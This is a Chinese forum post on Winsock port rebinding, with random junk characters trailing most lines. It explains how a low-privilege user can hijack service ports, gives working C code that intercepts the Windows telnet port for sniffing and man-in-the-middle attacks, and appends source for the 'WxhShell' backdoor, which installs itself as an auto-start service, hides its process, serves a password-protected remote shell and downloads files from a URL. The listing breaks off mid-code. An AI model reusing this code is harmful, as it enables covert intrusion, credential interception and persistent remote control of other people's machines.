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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -Vw,9VCF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R~;<}!Gtx  
r1xN U0A  
  saddr.sin_family = AF_INET; V[A uw3)  
n|3ENN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #(!>  
 lcyan  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @/XA*9]l  
91e&-acA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F}.<x5I-;h  
$^d,>hJi  
  这意味着什么?意味着可以进行如下的攻击: Xb3z<r   
tec CU[O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (|"K sGl  
b`fPP{mG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d\D.l^  
^q7 fN0"6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \h?C G_|]  
yw$er?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /J8y[aa  
(wnkdI{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ErHbc 2  
U c$RYPq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K`768 %q  
9UZKL@KC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HTvA]-AuM  
8( 7DW |\  
  #include MAQkk%6[g  
  #include E"nIC,VZ  
  #include !z$.Jcr1  
  #include    Y6 &w0~?!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h /@G[5E  
  int main() zT*EpIa+LS  
  { vc5g 4ud  
  WORD wVersionRequested; O| ) [j@7  
  DWORD ret; VW$Hzx_z  
  WSADATA wsaData; , 0MDkXb  
  BOOL val; 8|OsVIe%  
  SOCKADDR_IN saddr; pMKnA. |  
  SOCKADDR_IN scaddr; nYLq%7}k  
  int err; u4, p.mZtb  
  SOCKET s; U;Y{=07a@  
  SOCKET sc; ^#9 &Rk!t  
  int caddsize; "VRcR  
  HANDLE mt; 00[Uk'Q*5  
  DWORD tid;   n0:'h}^  
  wVersionRequested = MAKEWORD( 2, 2 ); oMM`7wJw  
  err = WSAStartup( wVersionRequested, &wsaData ); HSE9-c =  
  if ( err != 0 ) { @GK0j"_  
  printf("error!WSAStartup failed!\n"); /Z94<}C6b  
  return -1; n GZZCsf <  
  } D ]:sR  
  saddr.sin_family = AF_INET; R6r'[- B2  
   Cq(dj^/~m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W MU9tq[  
)xy1 DA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (:4N#p  
  saddr.sin_port = htons(23); #qtAFIm'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a4Qr\"Qm  
  { ,|<2wn#q  
  printf("error!socket failed!\n"); 4RGEg;]S  
  return -1; @bSxT,2  
  } {m.l{<H  
  val = TRUE; yF8 av=<{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K*xqQ]&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LJt#c+]Li  
  { q;3.pRw(  
  printf("error!setsockopt failed!\n"); N0,wT6.  
  return -1; */;[ -9  
  } ]Nz~4ebB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mk Er|w'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %QCh#v=ks  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7F!_gj p  
xT6&;,|`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  yl0&|Ub  
  { y-w=4_W  
  ret=GetLastError(); e C?adCb  
  printf("error!bind failed!\n"); ouL/tt_~  
  return -1; g"Mqh!{ FI  
  } p%pM3<p  
  listen(s,2); 8D@H4O.  
  while(1) }RowAGWL  
  { s<Px au+A  
  caddsize = sizeof(scaddr); =i O K($  
  //接受连接请求 '/trM%<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B"rnSui  
  if(sc!=INVALID_SOCKET) .&:y+Oww~  
  { >RZ]t[)y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {7.."@Ob<v  
  if(mt==NULL) {EE/3e@  
  { (n_lu= E70  
  printf("Thread Creat Failed!\n"); (LbAP9Zj#f  
  break; ^1^k<  
  } :L*"OT7(6  
  } #Drs=7w  
  CloseHandle(mt); QV,X> !Nz  
  } 'Alt+O_  
  closesocket(s); J6r"_>)z  
  WSACleanup(); bw\fKZ  
  return 0; &MKG#Y}  
  }   3z';Zwz &X  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?^t"tY  
  { t{Ck"4Cg  
  SOCKET ss = (SOCKET)lpParam; 2#:/C:  
  SOCKET sc; (C>FM8$J  
  unsigned char buf[4096]; ErIAS6HS'  
  SOCKADDR_IN saddr; U ]jHe  
  long num; (N{Rda*8  
  DWORD val; `@1y|j:m  
  DWORD ret; lO3W:,3_a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dfl| 6R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a$H*C(wL  
  saddr.sin_family = AF_INET; pESlBQ7{I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =oQw?,eY  
  saddr.sin_port = htons(23); -e0C Bp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &D0suK#  
  { ?0 93'lA  
  printf("error!socket failed!\n"); ,WSK '  
  return -1; r!:W-Y%&#  
  } 8|*#r[x  
  val = 100; ^L#\z7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k`FCyO  
  { feU]a5%XZ  
  ret = GetLastError(); QFt7L  
  return -1; 4gbi?UAmX  
  } 9c9F C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BNns#Q8a  
  { =%P'?(o|  
  ret = GetLastError(); acr@erk  
  return -1; AT Dm$ *  
  } U  ?'$E\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /)fx(u#  
  { Rj6:.KEJ  
  printf("error!socket connect failed!\n"); GPlAQk  
  closesocket(sc); pie<jZt  
  closesocket(ss); *qdf?' R  
  return -1; hd{Vz{;W  
  } jm9J-%?  
  while(1) ] AkHNgW  
  { 7xz~%xC.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9QE|p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #vh1QV!Ho  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #!V [(/  
  num = recv(ss,buf,4096,0); D lz||==  
  if(num>0) :aHD'K  
  send(sc,buf,num,0); 6Q S[mWU  
  else if(num==0) !9|)v7}  
  break; DE"KbA0}  
  num = recv(sc,buf,4096,0); D>"U0*h  
  if(num>0) *I,3,zO  
  send(ss,buf,num,0); `~|8eKFq!  
  else if(num==0) pgT XyAP{  
  break; . +_IpygQ  
  } G tI]6t  
  closesocket(ss); j$r.&,m  
  closesocket(sc); u=^0n2ez  
  return 0 ; ER,,K._?B  
  } +W|MAJtg  
l*]9   
/LMb~Hy,  
========================================================== $T* ##kyE9  
0=Jf93D5  
下边附上一个代码,,WXhSHELL clfi)-^ {K  
F jdh&9Zc  
========================================================== $__e7  
&X0/7)*"v  
#include "stdafx.h" nsR^TD;  
V"":_`1VW  
#include <stdio.h> V# Mw  
#include <string.h> _J^q|  
#include <windows.h> <<F#Al  
#include <winsock2.h> H{|a+  
#include <winsvc.h> BOqq=WY  
#include <urlmon.h> d bU  
CORX .PQ  
#pragma comment (lib, "Ws2_32.lib") 5MY+O\  
#pragma comment (lib, "urlmon.lib") g*$ 0G  
bm1+|gssn  
#define MAX_USER   100 // 最大客户端连接数 'G z>X :  
#define BUF_SOCK   200 // sock buffer %-"?  
#define KEY_BUFF   255 // 输入 buffer <}'hkEh{d=  
pKK&+umg  
#define REBOOT     0   // 重启 3$f%{~3  
#define SHUTDOWN   1   // 关机 *UVjN_na5  
7O5`&Z'-  
#define DEF_PORT   5000 // 监听端口 $4.mRS97g  
EN@LB2  
#define REG_LEN     16   // 注册表键长度 :H[E W3Q  
#define SVC_LEN     80   // NT服务名长度 E:BEQ:(~L  
TSu^.K  
// 从dll定义API 4f,D3e%T|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]e+IaZ[Wo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v8g3]MVj3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pJ7wd~wF*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B.fLgQK0  
FxOhF03\=[  
// wxhshell配置信息 q|m8G  
struct WSCFG { 9R.IYnq  
  int ws_port;         // 监听端口 (?-5p;  
  char ws_passstr[REG_LEN]; // 口令 wqo2iRql  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9/C0DDb  
  char ws_regname[REG_LEN]; // 注册表键名 j}YZl@dYV  
  char ws_svcname[REG_LEN]; // 服务名 @(.?e<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -F,o@5W>Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U,/NygB~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R`=IYnoOA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^5vFF@to  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p-V#nPb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D[{p~x^  
V M[9!:  
}; &*g5kh{  
S8j;oJ2 d  
// default Wxhshell configuration u&l2s&i  
struct WSCFG wscfg={DEF_PORT, EK. L>3  
    "xuhuanlingzhe", }]sI?&xB  
    1, ><iEVrpN  
    "Wxhshell", *|AnL}GJ  
    "Wxhshell", 6Nx TW  
            "WxhShell Service", dtjaQsJM^  
    "Wrsky Windows CmdShell Service", xD#PM |I  
    "Please Input Your Password: ", :0ND0A{K:  
  1, ia|^>V>-  
  "http://www.wrsky.com/wxhshell.exe", %_+9y??  
  "Wxhshell.exe" KmV#% d  
    }; :7Mo0,Bw,  
RLY Ae  
// 消息定义模块 >>krH'79  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y5LESZWo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aA%$<ItH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >rlQY>5pH  
char *msg_ws_ext="\n\rExit."; "%ag^v9  
char *msg_ws_end="\n\rQuit."; L.(T"`-i  
char *msg_ws_boot="\n\rReboot..."; Y">tfLIL_  
char *msg_ws_poff="\n\rShutdown..."; |w[}\#2  
char *msg_ws_down="\n\rSave to "; R@>R@V>c  
;nj'C1  
char *msg_ws_err="\n\rErr!"; ~bT0gIc  
char *msg_ws_ok="\n\rOK!"; hXS'*vO"  
Kbx(^f12  
char ExeFile[MAX_PATH]; Q3%a=ba)h  
int nUser = 0; qM@][]j:  
HANDLE handles[MAX_USER]; [$3Zid  
int OsIsNt; xTD6?X'4  
O60jC;{F  
SERVICE_STATUS       serviceStatus; f4s[R0l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QHr 3J  
DLyHC=%{+h  
// 函数声明 @&+h3dV.V  
int Install(void); ?t)y/@eG  
int Uninstall(void); x=1G|<z%  
int DownloadFile(char *sURL, SOCKET wsh); `]]gD EPG{  
int Boot(int flag); ]Vjn7P`~ N  
void HideProc(void); #f.@XIt'  
int GetOsVer(void); Cd#*Wp)s  
int Wxhshell(SOCKET wsl); f&`v-kiAn=  
void TalkWithClient(void *cs); )Tngtt D  
int CmdShell(SOCKET sock); pvy;L[c  
int StartFromService(void); PGT!HdX#{  
int StartWxhshell(LPSTR lpCmdLine); Tv3ZNh  
%H<w.]>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _KmpC>J+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~2@U85"o  
K *vNv 4  
// 数据结构和表定义 /Re1QS  
SERVICE_TABLE_ENTRY DispatchTable[] = {z@vSQ=)=P  
{ G+[>or}  
{wscfg.ws_svcname, NTServiceMain}, aC3\Hs  
{NULL, NULL} ThWZ>hyJ  
}; ?O4Dhu  
~\<ZWU<BE  
// 自我安装 #2yOqUO\  
int Install(void) nIph[Vs-Z  
{ r_)-NOp  
  char svExeFile[MAX_PATH]; d;lp^K M  
  HKEY key; MBcOIy[&A  
  strcpy(svExeFile,ExeFile); XP2=x_"y  
a-!"m  
// 如果是win9x系统,修改注册表设为自启动 1I3u~J3]/  
if(!OsIsNt) { l0D.7>aj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .NjdkHYR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ec1g7w-n  
  RegCloseKey(key);  4EB$e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q(.%f3(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `H/HLCt  
  RegCloseKey(key); Cy6[p  
  return 0; |&n dQ(!l  
    } AaTtY d  
  } 86%weU/*  
} n^&QOII@>  
else { R~RY:[5?w  
9U}EVpD  
// 如果是NT以上系统,安装为系统服务 (-dJ0!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,eUMSg~P.7  
if (schSCManager!=0) vo7 1T<K  
{ fil6w</L  
  SC_HANDLE schService = CreateService \TMRS(  
  ( <S$y=>.9  
  schSCManager, Ur&: Rr  
  wscfg.ws_svcname, 8QC:ro  
  wscfg.ws_svcdisp, w5|@vB/pj  
  SERVICE_ALL_ACCESS, P#ru-0DD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -m'a%aog  
  SERVICE_AUTO_START, ?U-p jjM  
  SERVICE_ERROR_NORMAL, w4L\@y 3  
  svExeFile, ^;@Bz~Z  
  NULL, n+uq|sYVa  
  NULL, )1x333.[c  
  NULL, (OG@]|-  
  NULL, /-|xxy  
  NULL $ @1&G~x  
  ); >MQW{^  
  if (schService!=0) -IX;r1UD  
  { MeplM$9  
  CloseServiceHandle(schService); 8#Z$}?W  
  CloseServiceHandle(schSCManager); RuRJjcnY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gu:..'V  
  strcat(svExeFile,wscfg.ws_svcname); N,[M8n,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?J6hiQvL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qA30z%#z_  
  RegCloseKey(key); /=r&9P@Ay<  
  return 0; \17)=W  
    } n.1a1Tf  
  } P{>T?-Hj  
  CloseServiceHandle(schSCManager); ?q,x?`|(8  
} ;=^WIC+Nr  
} 0e7v ?UT  
q0c)pxD%`  
return 1; i;dr(c/ft  
} X4/r#<Da  
MPL2#YU/a  
// 自我卸载 1}ToR=  
int Uninstall(void) \'p7,F{:>5  
{ W}=2?vHV=  
  HKEY key; EvECA,!i  
v#/,,)m  
if(!OsIsNt) { uPo>?hpq+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n--`zx-['  
  RegDeleteValue(key,wscfg.ws_regname); 6|jE3rHw  
  RegCloseKey(key); 3 t_5Xacj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Y#9~$V=  
  RegDeleteValue(key,wscfg.ws_regname); HE,wEKp  
  RegCloseKey(key); 6)bfd^JYn  
  return 0; D 3HB`{  
  } >=Rb:#UM  
} jgMWjM6.  
} G: &Q)_  
else { l{pF^?K  
Z$hxo )|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <s{/ka3  
if (schSCManager!=0) #{ ?oUg>$  
{ _|Dt6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sqge5v  
  if (schService!=0) R1m18GHQ  
  { eb8_guZ  
  if(DeleteService(schService)!=0) { Q@j:b]Y9  
  CloseServiceHandle(schService); q{5Vq_s\  
  CloseServiceHandle(schSCManager); #tfJ?w`  
  return 0; { U<h tl4  
  } 4Sl^cKb$7  
  CloseServiceHandle(schService); eo,]b1C2n  
  } . LS.Z 4@  
  CloseServiceHandle(schSCManager); D0]9 -h  
} E nUo B<  
} p_nrua?  
#]'V#[;~  
return 1; wGxLs>| 4  
} Ip0Zf?  
D2mB4  
// 从指定url下载文件 @6tx5D?  
int DownloadFile(char *sURL, SOCKET wsh) JH5])i0  
{ 6x7=0}'  
  HRESULT hr; u}h'v&"e,  
char seps[]= "/"; x-QP+M`Pu  
char *token; \G"/Myi  
char *file; g ` {0I[  
char myURL[MAX_PATH]; }9kq?  
char myFILE[MAX_PATH]; 97 g-*K  
ejQCMG7  
strcpy(myURL,sURL); wb?hfe  
  token=strtok(myURL,seps); x SUR<  
  while(token!=NULL) |UaI i^  
  { g[n8N{s  
    file=token; R.QcXz?d  
  token=strtok(NULL,seps); Eg:p_F*lr  
  } x?F{=\z/o  
QRjt.Ry|  
GetCurrentDirectory(MAX_PATH,myFILE); INT2i8oU  
strcat(myFILE, "\\"); zJy{Ry[Sb  
strcat(myFILE, file); %)e+w+  
  send(wsh,myFILE,strlen(myFILE),0); *~"`&rM(  
send(wsh,"...",3,0); &ar}6eO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .`p_vS9  
  if(hr==S_OK) -,tYfQ;:  
return 0; ]aR4U`  
else Ij8tBT?jlL  
return 1; e{O5y8,  
:Ry 24X  
} %qHT!aP  
c%dy$mkqgK  
// 系统电源模块 b(VU{cf2d  
int Boot(int flag) ~_&.A*Jh  
{ +!Ltn  
  HANDLE hToken; vqHJc2yYkZ  
  TOKEN_PRIVILEGES tkp; .s?OKy  
4s8E:I=K  
  if(OsIsNt) { >tzXbmFp;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _7;^od=C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #+G2ZJxL|  
    tkp.PrivilegeCount = 1; P:TpB6.=q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qw/{o:ce]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 00p 7sZU^  
if(flag==REBOOT) { Ed-gYL^<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2I<T<hFW]  
  return 0; mI0r,Z*+M  
} MD)"r>k  
else { D^{:UbN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( A)wcB  
  return 0; *J=ol  
} 1`t?5|s>  
  } NZuFxJ-`  
  else { THp `!l  
if(flag==REBOOT) { Y P c<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8iNAs#s  
  return 0; Zy%Z]dF  
} ,Ai i>D]  
else { ;cr6Xop#?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c v 9 6F  
  return 0; -Tx tX8v  
} Mvv=)?:  
} u^9c`  
w!RH*S  
return 1; .7FI%  
} S+G)&<a^  
[//f BO  
// win9x进程隐藏模块 \sd"iMEi  
void HideProc(void) MDP MOA  
{  aC: l;  
l'T0<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p#d UL9  
  if ( hKernel != NULL ) m #QI*R XP  
  { 0 l@P]_qq`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l,FoK76G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s>\g03=  
    FreeLibrary(hKernel); 6~ `bAe`}  
  } [u80-x<  
(do=o&9p m  
return; hhGpB$A  
} %b;+/s2W  
j!\0Fyr  
// 获取操作系统版本 u2]g1XjeG  
int GetOsVer(void) dO,05?q|  
{ 63S1ed [  
  OSVERSIONINFO winfo; RHVv}N0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '.yWL  
  GetVersionEx(&winfo); &|'6-wD.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a7\L-T+  
  return 1; @3c#\jx  
  else kVnyX@  
  return 0; b]BA,D 4  
} 7V (7JV<>  
=bWq 3aP)P  
// 客户端句柄模块 _kN%6~+U  
int Wxhshell(SOCKET wsl) )c/y07er  
{ )`mF.87b&h  
  SOCKET wsh; dY<#a,eS  
  struct sockaddr_in client; ; ZV^e  
  DWORD myID; 5R`6zhf  
acY[?L_6J  
  while(nUser<MAX_USER) ;/ KF3 %  
{ gc3 U/ jM  
  int nSize=sizeof(client); OeGuq.> w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PV6 *-[  
  if(wsh==INVALID_SOCKET) return 1; J.2]km  
tQ JH'YV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [V, ;X  
if(handles[nUser]==0) :s '"u]  
  closesocket(wsh); (B,t 1+%  
else *u'`XRJU/  
  nUser++; dY@Tt&k8E  
  } ]wpYxos  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +A?+G  
Q 02??W  
  return 0; h<ctW>6v  
} l0\>zWLZZ9  
/%9p9$kFot  
// 关闭 socket AdOAh y2H  
void CloseIt(SOCKET wsh) *9Js:z7I  
{ #4 &N0IG  
closesocket(wsh); 1r& ?J.z25  
nUser--; |/=p  
ExitThread(0); n UCk0:{  
} YCBML!L  
rqe_zyc&  
// 客户端请求句柄 RK:sQWG  
void TalkWithClient(void *cs) /{ MH'  
{ efkie}  
n3g WM C  
  SOCKET wsh=(SOCKET)cs; lkWeQ)V  
  char pwd[SVC_LEN]; C%?D E@k  
  char cmd[KEY_BUFF]; {_ho!OS>  
char chr[1]; {C0^D*U:  
int i,j; "rDzrz  
}_:#fE  
  while (nUser < MAX_USER) { =tRe3o0(  
{R!TUQ5  
if(wscfg.ws_passstr) { 8tRh V2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Y9D!=_lj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -_*XhD  
  //ZeroMemory(pwd,KEY_BUFF); B m@oB2x)  
      i=0; TgE.=`"7  
  while(i<SVC_LEN) { k=~pA iRDN  
>wk=`&+V@  
  // 设置超时 b;`#Sea  
  fd_set FdRead; VE"0 VB.  
  struct timeval TimeOut; Y1_6\zpA  
  FD_ZERO(&FdRead); lPQ Ut!xI  
  FD_SET(wsh,&FdRead); \]#;!6ge  
  TimeOut.tv_sec=8; ySK Yqt z  
  TimeOut.tv_usec=0; pF*~)e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oj lB 0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K^& ]xFW  
k&_u\D"^"%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  !QW 0  
  pwd=chr[0]; GlgORy=>  
  if(chr[0]==0xd || chr[0]==0xa) { +JAfHQm-  
  pwd=0; VBsFT2XiL  
  break; b:5%}  
  } [xs)u3b  
  i++; QRZTT qG  
    } 9Glfi@.  
*ez~~ Y  
  // 如果是非法用户,关闭 socket M3;v3 }z<-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C`~4q<W'  
} F;&f x(  
sEJ;t0.LX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -anFt+f-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dYew 7  
;0Ct\[eh  
while(1) { OG?j6q hpl  
tqwk?[y}+l  
  ZeroMemory(cmd,KEY_BUFF); IJBJebqL  
vH?+JN"A  
      // 自动支持客户端 telnet标准   {{[jC"4AY  
  j=0; ic{.#R.BY  
  while(j<KEY_BUFF) { &0 )xvZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8&A|)ur4  
  cmd[j]=chr[0]; 3|'#n[3  
  if(chr[0]==0xa || chr[0]==0xd) { JXRf4QmG  
  cmd[j]=0; (zw=qbS&  
  break; "G-0iKW;  
  } 60~>f)vu  
  j++; b^l -*4  
    } Rr;LV<q+  
vD)A)  
  // 下载文件 T.w}6? 2  
  if(strstr(cmd,"http://")) { $L&9x3+?Kg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QOh w  
  if(DownloadFile(cmd,wsh)) mLk6!&zN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAULD]Q  
  else lF}$`6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <j1d~XU}  
  } 77&^$JpM  
  else { 400Tw`AiJ  
G0; EbJ/&  
    switch(cmd[0]) { WP@JrnxO\`  
  < ;,S"e  
  // 帮助 Th;gps%b  
  case '?': { ?Str*XA;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j#nO6\&o  
    break; 8T.5Mhx0jS  
  } #SihedWi  
  // 安装 1l|A[ G  
  case 'i': { ; LF)u2x=  
    if(Install()) F<oc Y0=9p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fCt\2);a  
    else 4z0R\tjT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w1"gl0ga$  
    break; M8",t{7  
    } 8NAWA3^B  
  // 卸载 XC/]u%n8](  
  case 'r': { |p8"9jN@}c  
    if(Uninstall()) {sfmWVp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); il>x!)?o  
    else nzE,F\k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v1"g!%U6  
    break; ghJ,s|lH  
    } 9?l?G GmQ  
  // 显示 wxhshell 所在路径 (4{ C7  
  case 'p': { srChY&h?<  
    char svExeFile[MAX_PATH]; ll<9f)  
    strcpy(svExeFile,"\n\r"); f?>-yMR|  
      strcat(svExeFile,ExeFile); =@1R ozt  
        send(wsh,svExeFile,strlen(svExeFile),0); ;*)fO? TG)  
    break; e0|_Z])D  
    } UP~WP@0F  
  // 重启 JW%/^'  
  case 'b': { 94'k 7_q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )S wG+k,  
    if(Boot(REBOOT)) V$Xl^#tN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uku}Mr"p  
    else { lEyG9Xvi  
    closesocket(wsh); kuTq8p2E  
    ExitThread(0); Oj4u!SY\j  
    } Dc&9emKI  
    break; _r<zSH%  
    } _,Rsl$Tk'  
  // 关机 -e`oW.+  
  case 'd': { C$'D]fX  
